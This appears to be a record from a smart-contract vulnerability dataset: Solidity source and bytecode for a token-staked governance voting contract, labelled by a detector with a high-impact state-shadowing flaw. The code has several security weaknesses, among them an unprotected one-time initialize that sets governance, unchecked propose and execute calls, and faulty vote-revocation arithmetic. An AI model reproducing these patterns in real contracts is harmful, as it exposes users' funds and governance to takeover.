fffffffffffffffffffffffffffffff161415151561217957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff16141561225b57600080fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156122b757600080fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561230957fe5b818303905092915050565b600080828401905083811015151561232857fe5b80915050929150505600a165627a7a72305820efc3281b9b72b79c86ec6659ccacbb3e24184660fa5a0c492d9936d57c8572450029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 5,782 |
0xe5dbb65769e4c216818692201e318e296503180f
|
/**
*Submitted for verification at BscScan.com on 2021-04-05
*/
/**
*Submitted for verification at Etherscan.io on 2021-03-26
*/
pragma solidity 0.5.9;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);//changes (a+b )/2
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable {
address payable _owner;
address payable internal newOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
modifier onlyOwner {
require(msg.sender == _owner);
_;
}
function owner() public view returns (address) {
return _owner;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function _transferOwnership(address payable _newOwner) internal {
newOwner = _newOwner;
}
//this flow is to prevent transferring ownership to wrong wallet by mistake
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
newOwner = address(0);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Executor {
function execute(uint, uint, uint, uint) external;
}
contract UnitiDex_Governance is Ownable {
mapping(address=>bool) public owners;
bool public breaker = false;
uint256 deadlineIndex = 0;
uint256 public MinTokenForVote=0;
address public RYIPToken=address(0);
uint256 public tokenFreezeDuration=86400;// default 1 day or 24 hours
//mapping(address=> mapping(uint256=> uint256)) public deadline;
mapping(address => bool) public voters;
struct stake{
uint time;
uint amount;
}
mapping(address=>stake[]) public details;
function setBreaker(bool _breaker) external {
require(msg.sender == governance, "!governance");
breaker = _breaker;
}
mapping(address => uint) public voteLock;
struct Proposal {
uint id;
address proposer;
mapping(address => uint) forVotes;
mapping(address => uint) againstVotes;
uint totalForVotes;
uint totalAgainstVotes;
uint start; // block start;
uint end; // start + period
address executor;
string hash;
uint totalVotesAvailable;
uint quorum;
uint quorumRequired;
bool open;
uint categoryID;
}
mapping (uint => Proposal) public proposals;
uint public proposalCount=0;
uint public lock = 17280;
uint public minimum = 1e18;
uint public quorum = 2000;
bool public config = true;
address public governance;
constructor(uint256 _MinTokenForVote,address _RYIPToken) public{
//sending all the tokens to Owner
MinTokenForVote=_MinTokenForVote;
RYIPToken=_RYIPToken;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setQuorum(uint _quorum) public {
require(msg.sender == governance, "!governance");
quorum = _quorum;
}
function setMinimum(uint _minimum) public {
require(msg.sender == governance, "!governance");
minimum = _minimum;
}
function setPeriod(uint _proposeId, uint _endtime) public returns(bool){
require(proposals[_proposeId].executor==msg.sender || owners[msg.sender]==true);
require(proposals[_proposeId].end!=0);
proposals[_proposeId].end=_endtime;
return true;
}
function setLock(uint _lock) public {
require(msg.sender == governance, "!governance");
lock = _lock;
}
function initialize(uint id) public {
require(config == true, "!config");
config = false;
proposalCount = id;
governance = 0xFEB4acf3df3cDEA7399794D0869ef76A6EfAff52;
}
event NewProposal(string _hash, uint id, address creator, uint start, uint duration, address executor, uint _categoryID);
event Vote(uint indexed id, address indexed voter, bool vote, uint weight);
function propose(address executor, string memory hash, uint _categoryID, uint _startTime, uint _endTime) public returns(bool){
if(_startTime==0)
{
_startTime=block.timestamp;
}
proposalCount=proposalCount+1;
proposals[proposalCount] = Proposal({
id: proposalCount,
proposer: msg.sender,
totalForVotes: 0,
totalAgainstVotes: 0,
start: _startTime,
end: _endTime,
executor: executor,
hash: hash,
totalVotesAvailable: totalVotes,
quorum: 0,
quorumRequired: quorum,
open: true,
categoryID: _categoryID
});
emit NewProposal(hash, proposalCount, msg.sender, _startTime, _endTime, executor, _categoryID);
return true;
}
event RemoveProposal(uint indexed id, address indexed remover, uint indexed time);
function removePropose(uint _proposeId) public returns(bool){
require(proposals[_proposeId].executor==msg.sender || owners[msg.sender]==true);
delete proposals[_proposeId];
emit RemoveProposal(_proposeId,msg.sender,block.timestamp);
return true;
}
function execute(uint id) public {
(uint _for, uint _against, uint _quorum) = getStats(id);
require(proposals[id].quorumRequired < _quorum, "!quorum");
require(proposals[id].end < block.timestamp , "!end");
if (proposals[id].open == true) {
tallyVotes(id);
}
Executor(proposals[id].executor).execute(id, _for, _against, _quorum);
}
function getStats(uint id) public view returns (uint _for, uint _against, uint _quorum) {
_for = proposals[id].totalForVotes;
_against = proposals[id].totalAgainstVotes;
_quorum = proposals[id].quorum;
}
event ProposalFinished(uint indexed id, uint _for, uint _against, bool quorumReached);
function tallyVotes(uint id) public {
require(proposals[id].open == true, "!open");
require(proposals[id].end < block.timestamp, "!end");
(uint _for, uint _against,) = getStats(id);
bool _quorum = false;
if (proposals[id].quorum >= proposals[id].quorumRequired) {
_quorum = true;
}
proposals[id].open = false;
emit ProposalFinished(id, _for, _against, _quorum);
}
function votesOf(address voter) public view returns (uint) {
return votes[voter];
}
function checkVoted(uint id) public view returns(bool) {
if(proposals[id].forVotes[msg.sender]==1 || proposals[id].againstVotes[msg.sender]==1)
{
return true;
}
else
{
return false;
}
}
uint public totalVotes;
mapping(address => uint) public votes;
event RevokeVoter(address voter, uint votes, uint totalVotes);
function revoke() public {
require(voters[msg.sender] == true, "!voter");
voters[msg.sender] = false;
if (totalVotes < votes[msg.sender]) {
totalVotes = 0;
} else {
totalVotes = votes[msg.sender];
}
emit RevokeVoter(msg.sender, votes[msg.sender], totalVotes);
votes[msg.sender] = 0;
}
function voteFor(uint id) public returns(bool){
require(proposals[id].start < block.timestamp , "<start");
require(proposals[id].end > block.timestamp , ">end");
require(proposals[id].forVotes[msg.sender]==0 && proposals[id].againstVotes[msg.sender]==0,"Already Voted");
//require(msg.value==500000,"Invalid Amount");
// require(_amount==MinTokenForVote,"Invalid Amount");
IERC20(RYIPToken).transferFrom(msg.sender,address(this),MinTokenForVote);
// freezeToken[msg.sender] += MinTokenForVote;
proposals[id].forVotes[msg.sender] = 1;
proposals[id].totalVotesAvailable = totalVotes;
proposals[id].totalForVotes= proposals[id].totalForVotes + 1;
stake memory st=stake(now+tokenFreezeDuration,MinTokenForVote);
details[msg.sender].push(st);
emit Vote(id, msg.sender, true, 1);
return true;
}
function NumberOfVotes(address _add) public view returns(uint256){
return details[_add].length;
}
function voteAgainst(uint id) public returns(bool) {
require(proposals[id].start < block.timestamp , "<start");
require(proposals[id].end > block.timestamp , ">end");
require(proposals[id].forVotes[msg.sender]==0 && proposals[id].againstVotes[msg.sender]==0,"Already Voted");
// require(_amount==MinTokenForVote,"Invalid Amount");
IERC20(RYIPToken).transferFrom(msg.sender,address(this),MinTokenForVote);
//freezeToken[msg.sender] += MinTokenForVote;
proposals[id].againstVotes[msg.sender] = 1;
proposals[id].totalVotesAvailable = totalVotes;
proposals[id].totalAgainstVotes= proposals[id].totalAgainstVotes + 1;
stake memory st=stake(now+tokenFreezeDuration,MinTokenForVote);
details[msg.sender].push(st);
emit Vote(id, msg.sender, false, 1);
return true;
}
function changeMinTokenForVote(uint256 _amount) public onlyOwner returns(bool){
require(_amount>0,"invalid Amount");
MinTokenForVote=_amount;
return true;
}
function ClaimToken() public returns(bool) {
uint256 _tokenAmount= 0;
uint256 _tmpAmount =0;
uint256 _tmpDeadline =0;
for (uint256 i=0;i<details[msg.sender].length;){
if (now>details[msg.sender][i].time && details[msg.sender][i].amount>0){ // if deadline time is over.
//vreturn= vreturn.add(details[msg.sender][i].amount);
_tokenAmount= _tokenAmount+details[msg.sender][i].amount;
if (details[msg.sender].length>1) // if element is less than 2 no need to swap
{
// storing last index element in temp variable for swaping
_tmpAmount = details[msg.sender][details[msg.sender].length-1].amount;
_tmpDeadline = details[msg.sender][details[msg.sender].length-1].time;
// storing current element on last index
details[msg.sender][details[msg.sender].length-1].amount = details[msg.sender][i].amount;
details[msg.sender][details[msg.sender].length-1].time = details[msg.sender][i].time;
//storing last index element on current index
details[msg.sender][i].amount= _tmpAmount;
details[msg.sender][i].time = _tmpDeadline;
}
// removing item on array
details[msg.sender].pop();
}
else{
// it increment value only when array lenght is not decreasing
i++;
}
}
require(_tokenAmount>0,'invalid balance');
require(IERC20(RYIPToken).transfer(msg.sender,_tokenAmount),'transfer sending fail');
return true;
}
function showFreezeToken(address _address) public view returns(uint256){
require(_address!=address(0),'invalid address');
uint256 vreturn=0;
//for (uint256 i=deadlineStarIndex[msg.sender];i<=deadlineLastIndex[msg.sender] ;i++){
for (uint256 i=0;i<details[_address].length ;i++){
if (now<details[_address][i].time && details[_address][i].amount>0){ // if deadline time is over.
//vreturn= vreturn.add(details[msg.sender][i].amount);
vreturn= vreturn+details[_address][i].amount;
}
}
return vreturn;
}
function showUnFreezeToken(address _address) public view returns(uint256){
require(_address!=address(0),'invalid address');
uint256 vreturn=0;
//for (uint256 i=deadlineStarIndex[msg.sender];i<=deadlineLastIndex[msg.sender] ;i++){
for (uint256 i=0;i<details[_address].length ;i++){
if (now>details[_address][i].time && details[_address][i].amount>0){ // if deadline time is over.
//vreturn= vreturn.add(details[msg.sender][i].amount);
vreturn= vreturn+details[_address][i].amount;
}
}
return vreturn;
}
function changeTokenDuration (uint256 _timePeriod) public onlyOwner returns(bool){
tokenFreezeDuration= _timePeriod;
return true;
}
function changeToken(address _RYIPToken) public onlyOwner returns(bool){
RYIPToken=_RYIPToken;
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106102745760003560e01c80637b30396511610151578063b9df92b0116100c3578063d8bff5a511610087578063d8bff5a514610d50578063da35c66414610da8578063f3414e9b14610dc6578063f83d08ba14610e0c578063fe0d94c114610e2a578063fe4b84df14610e5857610274565b8063b9df92b014610c23578063bb7cee4714610c45578063c1ba4e5914610c8b578063cc05701a14610cb9578063d3e1574714610d2257610274565b80638da5cb5b116101155780638da5cb5b14610ac35780638f32d59b14610b0d57806398868bf714610b2f578063a3ec138d14610b79578063ab033ea914610bd5578063b6549f7514610c1957610274565b80637b303965146109255780637be7a0b1146109755780637db9853e146109cd57806386a5053514610a255780638a579e0b14610a6b57610274565b80634d318b0e116101ea57806366829b16116101ae57806366829b16146107e1578063750e443a1461083d57806375f80f221461088357806379502c55146108a157806379ba5097146108c357806379ec5d3a146108cd57610274565b80634d318b0e146106c35780634e27e916146106f157806352d6804d146107495780635aa6e675146107675780635c0aeb0e146107b157610274565b80630f41e0d21161023c5780630f41e0d2146104e05780631703a018146105025780633209e9e6146105205780633eda75eb1461054e5780634098eb1a1461065f578063470d8c2c1461067d57610274565b8063013cf08b14610279578063022914a7146103d057806303c5b1dc1461042c57806309a6c31e1461047c5780630d15fd77146104c2575b600080fd5b6102a56004803603602081101561028f57600080fd5b8101908080359060200190929190505050610e86565b604051808e81526020018d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018c81526020018b81526020018a81526020018981526020018873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018060200187815260200186815260200185815260200184151515158152602001838152602001828103825288818151815260200191508051906020019080838360005b8381101561038957808201518184015260208101905061036e565b50505050905090810190601f1680156103b65780820380516001836020036101000a031916815260200191505b509e50505050505050505050505050505060405180910390f35b610412600480360360208110156103e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd1565b604051808215151515815260200191505060405180910390f35b6104626004803603604081101561044257600080fd5b810190808035906020019092919080359060200190929190505050610ff1565b604051808215151515815260200191505060405180910390f35b6104a86004803603602081101561049257600080fd5b8101908080359060200190929190505050611105565b604051808215151515815260200191505060405180910390f35b6104ca6112ee565b6040518082815260200191505060405180910390f35b6104e86112f4565b604051808215151515815260200191505060405180910390f35b61050a611307565b6040518082815260200191505060405180910390f35b61054c6004803603602081101561053657600080fd5b810190808035906020019092919050505061130d565b005b610645600480360360a081101561056457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156105a157600080fd5b8201836020820111156105b357600080fd5b803590602001918460018302840111640100000000831117156105d557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019092919080359060200190929190803590602001909291905050506113da565b604051808215151515815260200191505060405180910390f35b6106676116f9565b6040518082815260200191505060405180910390f35b6106a96004803603602081101561069357600080fd5b81019080803590602001909291905050506116ff565b604051808215151515815260200191505060405180910390f35b6106ef600480360360208110156106d957600080fd5b81019080803590602001909291905050506117ce565b005b6107336004803603602081101561070757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119c5565b6040518082815260200191505060405180910390f35b6107516119dd565b6040518082815260200191505060405180910390f35b61076f6119e3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107df600480360360208110156107c757600080fd5b81019080803515159060200190929190505050611a09565b005b610823600480360360208110156107f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ae9565b604051808215151515815260200191505060405180910390f35b6108696004803603602081101561085357600080fd5b8101908080359060200190929190505050611b8e565b604051808215151515815260200191505060405180910390f35b61088b6120a1565b6040518082815260200191505060405180910390f35b6108a96120a7565b604051808215151515815260200191505060405180910390f35b6108cb6120ba565b005b61090f600480360360208110156108e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612257565b6040518082815260200191505060405180910390f35b6109516004803603602081101561093b57600080fd5b81019080803590602001909291905050506122a0565b60405180848152602001838152602001828152602001935050505060405180910390f35b6109b76004803603602081101561098b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506122f7565b6040518082815260200191505060405180910390f35b610a0f600480360360208110156109e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612532565b6040518082815260200191505060405180910390f35b610a5160048036036020811015610a3b57600080fd5b810190808035906020019092919050505061257e565b604051808215151515815260200191505060405180910390f35b610aad60048036036020811015610a8157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a90565b6040518082815260200191505060405180910390f35b610acb612ccb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610b15612cf4565b604051808215151515815260200191505060405180910390f35b610b37612d4b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610bbb60048036036020811015610b8f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612d71565b604051808215151515815260200191505060405180910390f35b610c1760048036036020811015610beb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612d91565b005b610c21612e98565b005b610c2b61314d565b604051808215151515815260200191505060405180910390f35b610c7160048036036020811015610c5b57600080fd5b8101908080359060200190929190505050613985565b604051808215151515815260200191505060405180910390f35b610cb760048036036020811015610ca157600080fd5b8101908080359060200190929190505050613a66565b005b610d0560048036036040811015610ccf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613b33565b604051808381526020018281526020019250505060405180910390f35b610d4e60048036036020811015610d3857600080fd5b8101908080359060200190929190505050613b71565b005b610d9260048036036020811015610d6657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613c3e565b6040518082815260200191505060405180910390f35b610db0613c56565b6040518082815260200191505060405180910390f35b610df260048036036020811015610ddc57600080fd5b8101908080359060200190929190505050613c5c565b604051808215151515815260200191505060405180910390f35b610e14613cc7565b6040518082815260200191505060405180910390f35b610e5660048036036020811015610e4057600080fd5b8101908080359060200190929190505050613ccd565b005b610e8460048036036020811015610e6e57600080fd5b8101908080359060200190929190505050613ef0565b005b600b6020528060005260406000206000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060040154908060050154908060060154908060070154908060080160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806009018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f9c5780601f10610f7157610100808354040283529160200191610f9c565b820191906000526020600020905b815481529060010190602001808311610f7f57829003601f168201915b50505050509080600a01549080600b01549080600c01549080600d0160009054906101000a900460ff169080600e015490508d565b60026020528060005260406000206000915054906101000a900460ff1681565b60003373ffffffffffffffffffffffffffffffffffffffff16600b600085815260200190815260200160002060080160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806110b3575060011515600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b6110bc57600080fd5b6000600b60008581526020019081526020016000206007015414156110e057600080fd5b81600b6000858152602001908152602001600020600701819055506001905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600b600084815260200190815260200160002060080160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806111c7575060011515600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b6111d057600080fd5b600b60008381526020019081526020016000206000808201600090556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560048201600090556005820160009055600682016000905560078201600090556008820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560098201600061126a9190613ff3565b600a820160009055600b820160009055600c820160009055600d820160006101000a81549060ff0219169055600e8201600090555050423373ffffffffffffffffffffffffffffffffffffffff16837f5be018cf91a096039fc91b8ba02cd510542a8f189c5f448dfce0c298bb025f4060405160405180910390a460019050919050565b60115481565b600360009054906101000a900460ff1681565b600f5481565b601060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113d0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600e8190555050565b6000808314156113e8574292505b6001600c5401600c81905550604051806101a00160405280600c5481526020013373ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600081526020018481526020018381526020018773ffffffffffffffffffffffffffffffffffffffff168152602001868152602001601154815260200160008152602001600f54815260200160011515815260200185815250600b6000600c5481526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160040155606082015181600501556080820151816006015560a0820151816007015560c08201518160080160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060e082015181600901908051906020019061157592919061403b565b5061010082015181600a015561012082015181600b015561014082015181600c015561016082015181600d0160006101000a81548160ff02191690831515021790555061018082015181600e01559050507fc64a2bb9f7be1471d0712a68cd18bc1462f9691469f55e66562681185bc3444285600c543386868b8a60405180806020018881526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825289818151815260200191508051906020019080838360005b838110156116ac578082015181840152602081019050611691565b50505050905090810190601f1680156116d95780820380516001836020036101000a031916815260200191505b509850505050505050505060405180910390a16001905095945050505050565b60075481565b60006001600b600084815260200190815260200160002060020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414806117b657506001600b600084815260200190815260200160002060030160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156117c457600190506117c9565b600090505b919050565b60011515600b6000838152602001908152602001600020600d0160009054906101000a900460ff1615151461186b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260058152602001807f216f70656e00000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b42600b600083815260200190815260200160002060070154106118f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260048152602001807f21656e640000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600080611902836122a0565b50915091506000809050600b6000858152602001908152602001600020600c0154600b6000868152602001908152602001600020600b01541061194457600190505b6000600b6000868152602001908152602001600020600d0160006101000a81548160ff021916908315150217905550837f66ab4d2a1f6db1c01d1d46ab61a9c333b5a4de5e75cc7a68e1495b4badbd009b8484846040518084815260200183815260200182151515158152602001935050505060405180910390a250505050565b600a6020528060005260406000206000915090505481565b600e5481565b601060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611acc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600360006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b4457600080fd5b81600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600042600b60008481526020019081526020016000206006015410611c1b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f3c7374617274000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b42600b60008481526020019081526020016000206007015411611ca6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260048152602001807f3e656e640000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600b600084815260200190815260200160002060020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015611d5c57506000600b600084815260200190815260200160002060030160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b611dce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f416c726561647920566f7465640000000000000000000000000000000000000081525060200191505060405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd33306005546040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611ead57600080fd5b505af1158015611ec1573d6000803e3d6000fd5b505050506040513d6020811015611ed757600080fd5b8101908080519060200190929190505050506001600b600084815260200190815260200160002060030160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601154600b6000848152602001908152602001600020600a01819055506001600b60008481526020019081526020016000206005015401600b600084815260200190815260200160002060050181905550611f9b6140bb565b6040518060400160405280600754420181526020016005548152509050600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000155602082015181600101555050503373ffffffffffffffffffffffffffffffffffffffff16837f88d35328232823f54954b6627e9f732371656f6daa40cb1b01b27dc7875a7b476000600160405180831515151581526020018281526020019250505060405180910390a36001915050919050565b60055481565b601060009054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461211457600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806000600b6000858152602001908152602001600020600401549250600b6000858152602001908152602001600020600501549150600b6000858152602001908152602001600020600b015490509193909250565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561239b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f696e76616c69642061646472657373000000000000000000000000000000000081525060200191505060405180910390fd5b600080905060008090505b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905081101561252857600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020818154811061243a57fe5b906000526020600020906002020160000154421080156124b557506000600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481106124a157fe5b906000526020600020906002020160010154115b1561251b57600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020818154811061250457fe5b906000526020600020906002020160010154820191505b80806001019150506123a6565b5080915050919050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509050919050565b600